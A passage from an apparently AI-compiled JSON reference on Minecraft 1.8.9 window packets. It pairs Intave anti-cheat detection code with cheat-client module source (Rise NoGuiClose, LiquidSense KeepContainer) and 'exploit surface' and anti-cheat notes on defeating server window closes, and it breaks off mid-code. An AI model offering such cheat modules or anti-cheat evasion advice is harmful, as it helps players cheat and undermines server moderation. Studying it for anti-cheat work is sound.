       "name": "Inventory click delay analysis (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Flag chest-stealer and auto-inventory modules by measuring click timing and slot distance against the window open.",
       "how_it_works": "The openWindowPacket subscription on outbound OPEN_WINDOW records lastWindowOpenTimestamp and marks the window open under tick feedback. The windowClickPacket subscription collects distance-time and slot-time samples per window; on close, if the sample count exceeds 30 it runs statistics (mean, variance, slope, Pearson correlation) and flags constant-speed item taking, excessive speed, and distance-indifferent patterns, nerfing the player's attack damage past 100 VL.",
       "detects": "ChestStealer, inventory cleaners and refill modules that take items at uniform speed or ignore slot distance.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/check/other/inventoryclickanalysis/RegrDelayAnalyzer.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.check.other.inventoryclickanalysis;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport de.jpx3.intave.check.MetaCheckPart;\nimport de.jpx3.intave.check.other.InventoryClickAnalysis;\nimport de.jpx3.intave.math.MathHelper;\nimport de.jpx3.intave.math.Matrix;\nimport de.jpx3.intave.module.Modules;\nimport de.jpx3.intave.module.linker.packet.ListenerPriority;\nimport de.jpx3.intave.module.linker.packet.PacketId;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.module.mitigate.AttackNerfStrategy;\nimport de.jpx3.intave.module.violation.Violation;\nimport de.jpx3.intave.module.violation.ViolationContext;\nimport de.jpx3.intave.module.violation.ViolationProcessor;\nimport de.jpx3.intave.packet.reader.WindowClickReader;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.meta.CheckCustomMetadata;\nimport org.bukkit.GameMode;\nimport org.bukkit.Material;\nimport org.bukkit.entity.Player;\nimport org.bukkit.inventory.ItemStack;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static de.jpx3.intave.math.MathHelper.formatDouble;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.CLOSE_WINDOW;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.WINDOW_CLICK;\nimport static de.jpx3.intave.module.violation.Violation.ViolationFlags.DISPLAY_IN_ALL_VERBOSE_MODES;\n\npublic class RegrDelayAnalyzer extends MetaCheckPart<InventoryClickAnalysis, RegrDelayAnalyzer.ClickDelayMeta> {\n  public RegrDelayAnalyzer(InventoryClickAnalysis parentCheck) {\n    super(parentCheck, ClickDelayMeta.class);\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsOut = {\n      PacketId.Server.OPEN_WINDOW\n    }\n  )\n  public void openWindowPacket(Player player, PacketContainer packet) {\n    User user = userOf(player);\n    ClickDelayMeta meta = metaOf(user);\n    user.tickFeedback(() -> {\n      meta.lastWindowOpenTimestamp = System.currentTimeMillis();\n      meta.lastClickedTimestamp = System.currentTimeMillis();\n      meta.firstClickTimestamp = 0;\n      if (!meta.windowOpen) {\n        meta.lastSlot = 22;\n      }\n      meta.windowOpen = true;\n    });\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {\n      WINDOW_CLICK\n    }\n  )\n  public void windowClickPacket(Player player, WindowClickReader windowClick) {\n    if (player.getGameMode().equals(GameMode.CREATIVE)) {\n      return;\n    }\n    User user = userOf(player);\n    ClickDelayMeta meta = metaOf(user);\n    int slot = windowClick.slot();\n    ItemStack itemStack = windowClick.itemStack();\n    Material clickedItemType = itemStack == null ? Material.AIR : itemStack.getType();\n    boolean isDrop = windowClick.isDrop();\n    if (slot != -999 && meta.lastSlot != -999) {\n      if ((clickedItemType != meta.lastClickedItemType || isDrop || windowClick.missingItemStack()) && clickedItemType != Material.AIR && meta.lastClickedTimestamp != 0) {\n        if (windowClick.clickType() != WindowClickReader.InventoryClickType.SWAP &&\n          windowClick.clickType() != WindowClickReader.InventoryClickType.QUICK_CRAFT) {\n          checkWindowClick(player, meta, slot);\n        }\n      }\n    }\n    meta.lastSlot = slot;\n    meta.lastClickedItemType = clickedItemType;\n    meta.lastClickedTimestamp = System.currentTimeMillis();\n    if (meta.firstClickTimestamp == 0) {\n      meta.firstClickTimestamp = System.currentTimeMillis();\n    }\n  }\n\n  @PacketSubscription(\n    priority = ListenerPriority.HIGH,\n    packetsIn = {\n      CLOSE_WINDOW\n    }\n  )\n  public void closeWindowPacket(Player player) {\n    User user = userOf(player);\n    ClickDelayMeta meta = metaOf(user);\n\n    meta.windowOpen = false;\n//    player.sendMessage(\"Click history: \" + meta.clickHistory.size() + \" entries\");\n\n    if (meta.distanceTime.isEmpty() || meta.slotTime.isEmpty()) {\n      return;\n    }\n\n//    double[][] movement = slotsMovement(user);\n    // x move, y move, x velocity, y velocity\n    // send message\n//    for (double[] doubles : movement) {\n//      player.sendMessage(\"x: \" + formatDouble(doubles[0], 2) + \" y: \" + formatDouble(doubles[1], 2) + \" vx: \" + formatDouble(doubles[2], 2) + \" vy: \" + formatDouble(doubles[3], 2));\n//    }\n\n    if (meta.distanceTime.size() > 30) {\n      List<double[]> clickHistory = meta.distanceTime;\n      double sum = 0;\n      for (double[] doubles : clickHistory) {\n        sum += doubles[0] / doubles[1];\n      }\n      double averageSpeed = sum / clickHistory.size();\n      double[] slope = slopeOfClicks(user);\n      double pearson = pearsonCorrelation(user);\n      double[] variances = clickTimeDistanceVariance(user);\n\n      double meanDistance = variances[0];\n      double meanTime = variances[1];\n      double varDistance = variances[2];\n      double varTime = variances[3];\n      double covar = variances[4];\n\n      if (meanTime > 2 && varTime < 0.01) {\n        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n          .forPlayer(player)\n          .withVL(1)\n          .withMessage(\"is taking items at constant speed\")\n          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n          .withDetails(\"time: \" + formatDouble(meanTime, 2) + \" mean, \" + formatDouble(varTime, 2) + \" var\")\n          .build();\n        ViolationProcessor violationProcessor = Modules.violationProcessor();\n        ViolationContext context = violationProcessor.processViolation(violation);\n        if (context.violationLevelAfter() > 100) {\n          user.nerf(AttackNerfStrategy.DMG_MEDIUM, \"item speed\");\n        }\n      }\n\n      if (slope[0] > 0.3 && averageSpeed > 15 && varDistance > 0.1) {\n        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n          .forPlayer(player)\n          .withVL(10)\n          .withMessage(\"is taking items too quickly\")\n          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n          .withDetails(\"obeys \" + formatDouble(slope[0], 2) + \" d/t correlation at \" + formatDouble(averageSpeed, 2) + \" s/s\")\n          .build();\n        ViolationProcessor violationProcessor = Modules.violationProcessor();\n        ViolationContext context = violationProcessor.processViolation(violation);\n        if (context.violationLevelAfter() > 100) {\n          user.nerf(AttackNerfStrategy.DMG_MEDIUM, \"item speed\");\n        }\n      }\n\n      if ((varDistance > 2 && varTime < 0.02) || (varDistance < 0.02 && varTime > 2)) {\n        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n          .forPlayer(player)\n          .withVL(10)\n          .withMessage(\"seems indifferent to distance taking items\")\n          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n          .withDetails(\"variance mismatch: \" + formatDouble(varDistance, 2) + \" d, \" + formatDouble(varTime, 2) + \" t\")\n          .build();\n        ViolationProcessor violationProcessor = Modules.violationProcessor();\n        ViolationContext context = violationProcessor.processViolation(violation);\n        if (context.violationLevelAfter() > 100) {\n          user.nerf(AttackNerfStrategy.DMG_MEDIUM, \"item speed\");\n        }\n      }\n\n//      player.sendMessage(ChatColor.YELLOW + \"CI | \"+(meta.firstClickTimestamp-meta.lastWindowOpenTimestamp)+\"ms fc | \" + MathHelper.formatDouble(averageSpeed, 2) + \" s/s avg\" + \" | \" + formatDouble(slope[0], 2) + \" distance/time correlation\");\n//      player.sendMessage(ChatColor.YELLOW + Arrays.toString(variances));\n\n      if ((slope[0] < 0.1 || pearson < 0.1) && meanDistance > 1.2) {\n        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n          .forPlayer(player)\n          .withVL(10)\n          .withMessage(\"seems indifferent to distance taking items\")\n          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n          .withDetails(formatDouble(slope[0], 2) + \" d/t, \" + formatDouble(pearson, 2) + \" pear, \" + formatDouble(meanDistance, 2) + \" mean d, \" + formatDouble(varDistance, 2) + \" var d\")\n          .build();\n        ViolationProcessor violationProcessor = Modules.violationProcessor();\n        ViolationContext context = violationProcessor.processViolation(violation);\n//        System.out.println(\"seems indifferent to distance taking items\" + formatDouble(slope[0], 2) + \" d/t, \" + formatDouble(pearson, 2) + \" pear\");\n\n        if (context.violationLevelAfter() > 100) {\n          user.nerf(AttackNerfStrategy.DMG_MEDIUM, \"item speed\");\n        }\n      }\n\n//      if (slope[1] < 0.05) {\n//        // taking items too quickly\n//        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n//          .forPlayer(player)\n////          .withVL(MathHelper.minmax(15, averageSpeed * 0.75, 50))\n//          .withVL(10)\n//          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n//          .withMessage(\"is taking items too quickly\")\n//          .withDetails(\"linear d/t baseline at \" + formatDouble(slope[1], 2) + \" slots/sec\")\n//          .build();\n//        ViolationProcessor violationProcessor = Modules.violationProcessor();\n//        ViolationContext context = violationProcessor.processViolation(violation);\n//\n////        if (context.violationLevelAfter() > 100) {\n////          user.nerf(AttackNerfStrategy.DMG_MEDIUM, \"item speed\");\n////        }\n//\n////        System.out.println(\"is taking items too quickly\" + \"linear d/t baseline at \" + formatDouble(slope[1], 2) + \" slots/sec\");\n//      }\n\n//      if (pearson > 0.5) {\n//        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n//          .forPlayer(player)\n////          .withVL(MathHelper.minmax(15, averageSpeed * 0.75, 50))\n//          .withVL(5)\n//          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n//          .withMessage(\"seems to be taking items in a pattern\")\n//          .withDetails(formatDouble(pearson, 2) + \" pear\")\n//          .build();\n//        ViolationProcessor violationProcessor = Modules.violationProcessor();\n//        violationProcessor.processViolation(violation);\n////        System.out.println(\"seems to be taking items in a pattern\" + formatDouble(pearson, 2) + \" pear\");\n//      }\n\n      if (averageSpeed > 20) {\n        Violation violation = Violation.builderFor(InventoryClickAnalysis.class)\n          .forPlayer(player)\n          .withVL(MathHelper.minmax(1, (averageSpeed/2) - 15, 50))\n//          .withVL(1)\n          .appendFlags(DISPLAY_IN_ALL_VERBOSE_MODES)\n          .withMessage(\"is taking items too quickly\")\n          .withDetails(\"at \" + formatDouble(averageSpeed, 2) + \" slots/sec\")\n          .build();\n        ViolationProcessor violationProcessor = Modules.violationProcessor();\n        ViolationContext context = violationProcessor.processViolation(violation);\n\n        if (context.violationLevelAfter() > 100) {\n          user.nerf(AttackNerfStrategy.DMG_MEDIUM, \"item speed\");\n        }\n      }\n//      try (CSVExport csvExport = new CSVExport(\"click_history\", \"Distance\", \"Time\")) {\n//        for (double[] entry : clickHistory) {\n//          csvExport.write(entry[0], entry[1]);\n//        }\n//      }\n      // clear 50% of the history\n      meta.distanceTime = meta.distanceTime.subList((int) (meta.distanceTime.size() * (2d / 3d)), meta.distanceTime.size());\n      meta.slotTime = meta.slotTime.subList((int) (meta.slotTime.size() * (2d / 3d)), meta.slotTime.size());\n    }\n    meta.firstClickTimestamp = 0;\n  }\n\n  private double[] slopeOfClicks(User user) {\n    ClickDelayMeta meta = metaOf(user);\n    List<double[]> clickHistory = meta.distanceTime;\n    if (clickHistory.isEmpty()) {\n      return new double[]{0, 0};\n    }\n    Matrix A = new Matrix(clickHistory.size(), 2);\n    Matrix b = new Matrix(clickHistory.size(), 1);\n    for (int i = 0; i < clickHistory.size(); i++) {\n      A.set(i, 0, clickHistory.get(i)[0] / 10);\n      A.set(i, 1, 1);\n      b.set(i, 0, clickHistory.get(i)[1]);\n    }\n    Matrix x = A.pinv().multiply(b);\n    return new double[]{x.get(0, 0), x.get(1, 0)};\n  }\n\n  private double[] clickTimeDistanceVariance(User user) {\n    ClickDelayMeta meta = metaOf(user);\n    List<double[]> clickHistory = meta.distanceTime;\n\n    if (clickHistory.isEmpty()) {\n      return new double[]{0, 0};\n    }\n\n    // treat distance time as separate variables x and y\n    // find mean of x and y, calculate variance matrix\n    double sumX = 0;\n    double sumY = 0;\n    for (double[] entry : clickHistory) {\n      sumX += entry[0];\n      sumY += entry[1];\n    }\n    double meanX = sumX / clickHistory.size();\n    double meanY = sumY / clickHistory.size();\n\n    double varX = 0;\n    double varY = 0;\n    double covarXY = 0;\n    for (double[] entry : clickHistory) {\n      varX += Math.pow(entry[0] - meanX, 2);\n      varY += Math.pow(entry[1] - meanY, 2);\n      covarXY += (entry[0] - meanX) * (entry[1] - meanY);\n    }\n    varX /= clickHistory.size();\n    varY /= clickHistory.size();\n    covarXY /= clickHistory.size();\n    return new double[]{meanX, meanY, varX, varY, covarXY};\n  }\n\n  private double[][] slotsMovement(User user) {\n    ClickDelayMeta meta = metaOf(user);\n    List<double[]> clickHistory = meta.slotTime;\n    List<double[]> distanceTime = meta.distanceTime;\n    if (clickHistory.isEmpty()) {\n      return new double[0][0];\n    }\n\n    double[][] movement = new double[clickHistory.size()][4];\n    double[] velocity = new double[]{0, 0};\n    int lastSlot = 13;\n\n    double alpha = 0.8;\n    for (int i = 0; i < clickHistory.size(); i++) {\n      double[] slotTimePair = clickHistory.get(i);\n      double[] distanceTimePair = distanceTime.get(i);\n\n      double[] movementBetween = movementBetween(lastSlot, (int) slotTimePair[0]);\n\n      double x = movementBetween[0];\n      double y = movementBetween[1];\n\n      // account for time\n      double time = slotTimePair[1];\n      movementBetween[0] /= time;\n      movementBetween[1] /= time;\n\n      velocity[0] = alpha * velocity[0] + (1 - alpha) * movementBetween[0];\n      velocity[1] = alpha * velocity[1] + (1 - alpha) * movementBetween[1];\n      movement[i] = new double[]{movementBetween[0], movementBetween[1], velocity[0], velocity[1]};\n//      lastSlot = (int) slotTimePair[0];\n\n//      user.player().sendMessage(\n//        \"x: \" + formatDouble(x, 2) + \"/\" + formatDouble(movementBetween[0], 2) +\n//          \" y: \" + formatDouble(y, 2) + \"/\" + formatDouble(movementBetween[1], 2) +\n//          \" vx: \" + formatDouble(velocity[0], 2) +\n//          \" vy: \" + formatDouble(velocity[1], 2) +\n//          \" d\" + distanceTimePair[0] +\n//          \" t\" + distanceTimePair[1]);\n    }\n    return movement;\n  }\n\n  private double pearsonCorrelation(User user) {\n    ClickDelayMeta meta = metaOf(user);\n    List<double[]> clickHistory = meta.distanceTime;\n    if (clickHistory.isEmpty()) {\n      return 0;\n    }\n    double sumX = 0;\n    double sumY = 0;\n    double sumXY = 0;\n    double sumX2 = 0;\n    double sumY2 = 0;\n    for (double[] entry : clickHistory) {\n      sumX += entry[0];\n      sumY += entry[1];\n      sumXY += entry[0] * entry[1];\n      sumX2 += Math.pow(entry[0], 2);\n      sumY2 += Math.pow(entry[1], 2);\n    }\n    double n = clickHistory.size();\n    return (n * sumXY - sumX * sumY) / (Math.sqrt((n * sumX2 - Math.pow(sumX, 2)) * (n * sumY2 - Math.pow(sumY, 2))));\n  }\n\n  private double gaussMismatch(User user) {\n    ClickDelayMeta meta = metaOf(user);\n    List<double[]> clickHistory = meta.distanceTime;\n    if (clickHistory.isEmpty()) {\n      return 1;\n    }\n    long[] hist = new long[50];\n    for (double[] entry : clickHistory) {\n      int index = (int) (entry[0] * 10);\n      if (index < 20) {\n        hist[index]++;\n      }\n    }\n    double mean = 0;\n    double std = 0;\n    for (int i = 0; i < hist.length; i++) {\n      mean += hist[i] * i;\n    }\n    mean /= clickHistory.size();\n    for (int i = 0; i < hist.length; i++) {\n      std += Math.pow(i - mean, 2) * hist[i];\n    }\n    std = Math.sqrt(std / clickHistory.size());\n    double chi2 = 0;\n    for (int i = 0; i < hist.length; i++) {\n      double dist = -Math.pow(i - mean, 2) / (2 * Math.pow(std, 2));\n      double dist2 = Math.exp(dist) / (std * Math.sqrt(2 * Math.PI));\n      chi2 += Math.pow(hist[i] - dist2, 2) / (dist2);\n    }\n    return chi2;\n  }\n\n  private void checkWindowClick(Player player, ClickDelayMeta meta, int slot) {\n    double distance = distanceBetween(slot, meta.lastSlot);\n    double time = (System.currentTimeMillis() - meta.lastClickedTimestamp) / 1000d;\n    if (time > 2) {\n      time = 2;\n    }\n    if (time == 0) {\n      time = 0.01;\n    }\n    if (distance > 11) {\n      distance = 11;\n    }\n//    player.sendMessage(formatDouble(distance, 2) + \" slots in \" + formatDouble(time, 2) + \"s\");\n    meta.distanceTime.add(new double[]{distance, time});\n    meta.slotTime.add(new double[]{slot, time});\n  }\n\n  private double distanceBetween(int slot1, int slot2) {\n    int[] slot1Pos = slotToPosition(slot1);\n    int[] slot2Pos = slotToPosition(slot2);\n    return Math.sqrt(Math.pow(slot1Pos[0] - slot2Pos[0], 2) + Math.pow(slot1Pos[1] - slot2Pos[1], 2));\n  }\n\n  private double[] movementBetween(int slot1, int slot2) {\n    int[] slot1Pos = slotToPosition(slot1);\n    int[] slot2Pos = slotToPosition(slot2);\n    return new double[]{slot2Pos[0] - slot1Pos[0], slot2Pos[1] - slot1Pos[1]};\n  }\n\n  private int[] slotToPosition(int slot) {\n    int row = (slot / 9) + 1;\n    int column = slot - ((row - 1) * 9);\n    return new int[]{row, column};\n  }\n\n  public static final class ClickDelayMeta extends CheckCustomMetadata {\n    private int lastSlot = -1;\n    private Material lastClickedItemType = Material.AIR;\n    private int lastContainerId = -1;\n    private long lastClickedTimestamp = 0;\n    private long firstClickTimestamp = 0;\n    private boolean windowOpen = false;\n    private long lastWindowOpenTimestamp = 0;\n\n    private List<double[]> distanceTime = new ArrayList<>();\n    private List<double[]> slotTime = new ArrayList<>();\n  }\n}\n// NOTE (AI): The openWindowPacket subscription is the S2D hook that timestamps the open; the click statistics run when the window closes. Flag messages come from the InventoryClickAnalysis parent check.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/check/other/inventoryclickanalysis/RegrDelayAnalyzer.java",
       "variations": "NotOpenCheck in the same package flags clicks when no window was opened; PacketEventDispatch.sentWindowOpen stores the slot count announced by S2D."
      },
      {
       "name": "WindowOpen wrapper and inventory-open flag (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Register the S2D packet and transaction-confirm the open so Artemis knows the player's inventory is open.",
       "how_it_works": "GPacketPlayServerWindowOpen wraps PacketPlayOutOpenWindow with a readable buffer; EmulatorPreProcessor handles it by scheduling a transaction-confirmed PacketAction whose pre() stops item use and sets the inventory-open flag, so movement and click checks can distinguish windowed from normal play at the right tick.",
       "detects": "Chest-stealer and window-state desync where clicks or movement are processed against a stale inventory state.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerWindowOpen.java =====\npackage cc.ghast.packet.wrapper.packet.play.server;\n\nimport ac.artemis.packet.protocol.ProtocolVersion;\nimport ac.artemis.packet.spigot.protocol.PacketLink;\nimport ac.artemis.packet.wrapper.server.PacketPlayServerWindowOpen;\nimport cc.ghast.packet.buffer.ProtocolByteBuf;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.ReadableBuffer;\n\nimport java.util.UUID;\n\n@PacketLink(PacketPlayServerWindowOpen.class)\npublic class GPacketPlayServerWindowOpen extends GPacket implements PacketPlayServerWindowOpen, ReadableBuffer {\n    public GPacketPlayServerWindowOpen(UUID player, ProtocolVersion version) {\n        super(\"PacketPlayOutOpenWindow\", player, version);\n    }\n\n    @Override\n    public void read(ProtocolByteBuf byteBuf) {\n\n    }\n}\n// NOTE (AI): Thin wrapper; the actual handling is in EmulatorPreProcessor, which transaction-confirms the open and sets the inventory-open flag.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.packet.spigot/src/main/java/cc/ghast/packet/wrapper/packet/play/server/GPacketPlayServerWindowOpen.java",
       "variations": "PacketExecutor registers the wrapper; PacketPlayServerWindowOpen is the API interface. Kauri (funkemunky-KauriV3) PacketHandler sets inventoryOpen(true) and resets lastInventoryOpen on a keepalive-confirmed OPEN_WINDOW."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x2D: unsigned byte windowId, type string, chat title, unsigned byte slot count.",
    "Type strings include minecraft:container, minecraft:villager and EntityHorse.",
    "Extra int entityId follows only for EntityHorse windows; ID is echoed in C0E and C0D.",
    "MCP 1.8.9 S2DPacketOpenWindow implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleOpenWindow; wire serde is readPacketData/writePacketData via readChatComponent, readInt, readStringFromBuffer, readUnsignedByte.",
    "1.8.9 callers: EntityPlayerMP.displayGui sends new S2DPacketOpenWindow (line 758): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S2DPacketOpenWindow/",
   "mcp_path": "net/minecraft/network/play/server/S2DPacketOpenWindow.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S2EPacketCloseWindow",
   "hex": "0x2E",
   "dec": 46,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Close Window",
   "desc": "Server forces the client to close an inventory window.",
   "tags": [
    "inventory",
    "container"
   ],
   "fields": [
    {
     "name": "windowId",
     "type": "byte",
     "desc": "Window ID"
    }
   ],
   "encoding": [
    [
     "Window ID",
     "unsigned byte",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleCloseWindow()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Server-initiated window close. It carries a single unsigned byte windowId and tells the client to tear down the open container and re-sync the held item. Server-side, EntityPlayerMP.closeScreen sends it when the server decides the player's window must close, which happens on death, teleport, dimension change, and anti-cheat interventions. The client counterpart C0DPacketCloseWindow is the player-initiated echo; the S2E path is always server-driven."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleCloseWindow calls thePlayer.func_175159_q(), which resets the carried item and closes the current screen. It does not check the windowId against the open container: any S2E closes whatever GUI is up. Server-side, EntityPlayerMP.closeScreen sends S2E with openContainer.windowId and closes the container. The asymmetry is the hook: a server can yank any GUI, and the client obeys blindly."
     },
     {
      "h": "Why clients touch it",
      "p": "Two module families. NoGuiClose in Rise 5.99, 6.1.30 and 6.2.4 cancels S2E so servers cannot close the player's GUI; Rise 5.99 defaults the Chat Only setting on, meaning the cancel only applies while the chat screen is open, which preserves the ability to type while a container stays open. Rise 6.2.4 defaults it off, blocking every server close. LiquidSense Dev's KeepContainer uses S2E in the opposite direction: it reads the server's close to drop its cached container reference, and it cancels the client's own C0D close packets while the keep is armed. The other six clients (Memeware, Nekoware, Sigma, Spicy, Tenacity, November Recode 2.0) have no S2E module reference at all."
     },
     {
      "h": "Exploit surface",
      "p": "The unguarded close is the surface: servers close windows to interrupt chest-stealing macros and inventory manipulation, and NoGuiClose defeats that by holding the GUI open. The cost is protocol desync: the server has closed its container while the client still shows it, so later clicks (C0E) reference a dead window. This is safe only while the player does not actually interact; the Chat Only mode exists precisely to limit the desync window to chat-while-looting use. Vanilla's failure to validate windowId on S2E also means a server can send a mismatched id to force-close anything."
     }
    ],
    "overview": "The server-driven window close. Rise ships NoGuiClose in all three releases to cancel S2E and hold the GUI open, with a Chat Only mode in 5.99 to limit the desync. LiquidSense Dev's KeepContainer listens to S2E to invalidate its cached container when the server closes it. The other six clients never touch the packet outside vanilla.",
    "server_handling": "EntityPlayerMP.closeScreen sends S2E with the current openContainer.windowId, then closes the server-side container and re-syncs the held item. NetHandlerPlayClient.handleCloseWindow runs func_175159_q() unconditionally: it resets the carried item and closes whatever screen is active, ignoring the packet's windowId entirely. Because the client never validates the id, the packet is a blind close lever from the server's perspective.",
    "protocol_notes": "Encoding: single unsigned byte windowId. It is one of the smallest packets in the play state. The client handler performs no id comparison against openContainer.windowId, which is the load-bearing detail for NoGuiClose: cancelling the packet has no side effects beyond keeping the GUI open. The windowId matters only for server bookkeeping, since the client close path is unconditional.",
    "anticheat_landscape": "Anti-cheats flag the desync NoGuiClose creates: a window the server closed but the client keeps open will eventually produce clicks (C0E) against a dead windowId, which window-state checks flag as inventory manipulation. The Chat Only default in Rise 5.99 keeps the desync window small (chat open while looting); blocking every S2E (6.2.4 default) widens it and increases the flag surface. This is a utility module with a real anti-cheat cost, unlike the purely cosmetic filters elsewhere in this group.",
    "modules": [
     {
      "name": "NoGuiClose",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Cancel server window-close packets so the player's GUI cannot be yanked away.",
      "how_it_works": "A PacketReceiveEvent handler cancels any S2E, gated by a Chat Only setting: when enabled, the cancel only fires while mc.currentScreen is a GuiChat. Rise 5.99 defaults Chat Only to true (onPacketReceive + event.setCancelled), Rise 6.2.4 defaults its chatonly value to false (Listener with event.setCancelled).",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/NoGuiClose.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.network.play.server.S2EPacketCloseWindow;\n\n@ModuleInfo(name = \"NoGuiClose\", description = \"Prevents servers from closing opened Guis\", category = Category.OTHER)\npublic final class NoGuiClose extends Module {\n\n    private final BooleanSetting chatOnly = new BooleanSetting(\"Chat Only\", this, true);\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacket() instanceof S2EPacketCloseWindow && (mc.currentScreen instanceof GuiChat || !chatOnly.isEnabled()))\n            event.setCancelled(true);\n    }\n}\n\n// NOTE (AI): The whole module is the single onPacketReceive guard. The chatOnly setting defaults to true in 5.99, limiting the cancel to chat-open moments; 6.2.4 inverts the default to false.",
      "code_source": "Rise 5.99, dev/rise/module/impl/other/NoGuiClose.java",
      "vanilla_hook": "PacketReceiveEvent (onPacketReceive override in 5.99; EventLink Listener in 6.x).",
      "anti_cheat_notes": "Clicks against a server-closed window are the flag surface. The chat-gated variant keeps the desync brief; the unconditional variant trades safety for convenience and is the one most likely to trip window-state checks on servers that close windows for inventory-macro protection.",
      "variations": "Rise 6.1.30 and 6.2.4 ship identical files (BooleanValue chatonly, default false). Rise 5.99 uses BooleanSetting chatOnly, default true, and the older onPacketReceive override style."
     },
     {
      "name": "KeepContainer",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Keep a formerly opened inventory container accessible anywhere: re-open it with the INSERT key and suppress close packets while armed.",
      "how_it_works": "Stores the last non-inventory GuiContainer on ScreenEvent; pressing INSERT re-opens it via displayGuiScreen. On PacketEvent it cancels every C0DPacketCloseWindow and, for S2EPacketCloseWindow, clears the cached container when the packet's windowId matches the stored container, so the cache cannot be resurrected after the server closed it. Disabling the module sends the C0D close it had been suppressing.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/KeepContainer.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.KeyEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.ScreenEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.minecraft.client.gui.inventory.GuiContainer;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.server.S2EPacketCloseWindow;\nimport org.lwjgl.input.Keyboard;\n\n@ModuleInfo(name = \"KeepContainer\", description = \"Allows you to open a formerly closed inventory container everywhere. (Press INSERT Key to open)\", category = ModuleCategory.EXPLOIT)\npublic class KeepContainer extends Module {\n    private GuiContainer container;\n\n    @Override\n    public void onDisable() {\n        if(container != null)\n            mc.getNetHandler().addToSendQueue(new C0DPacketCloseWindow(container.inventorySlots.windowId));\n\n        container = null;\n    }\n\n    @EventTarget\n    public void onGui(final ScreenEvent event) {\n        if(event.getGuiScreen() instanceof GuiContainer && !(event.getGuiScreen() instanceof GuiInventory))\n            container = (GuiContainer) event.getGuiScreen();\n    }\n\n    @EventTarget\n    public void onKey(final KeyEvent event) {\n        if(event.getKey() == Keyboard.KEY_INSERT) {\n            if(container == null)\n                return;\n\n            mc.displayGuiScreen(container);\n        }\n    }\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        if(event.getPacket() instanceof C0DPacketCloseWindow)\n            event.cancelEvent();\n\n        if(event.getPacket() instanceof S2EPacketCloseWindow) {\n            final S2EPacketCloseWindow packetCloseWindow = (S2EPacketCloseWindow) 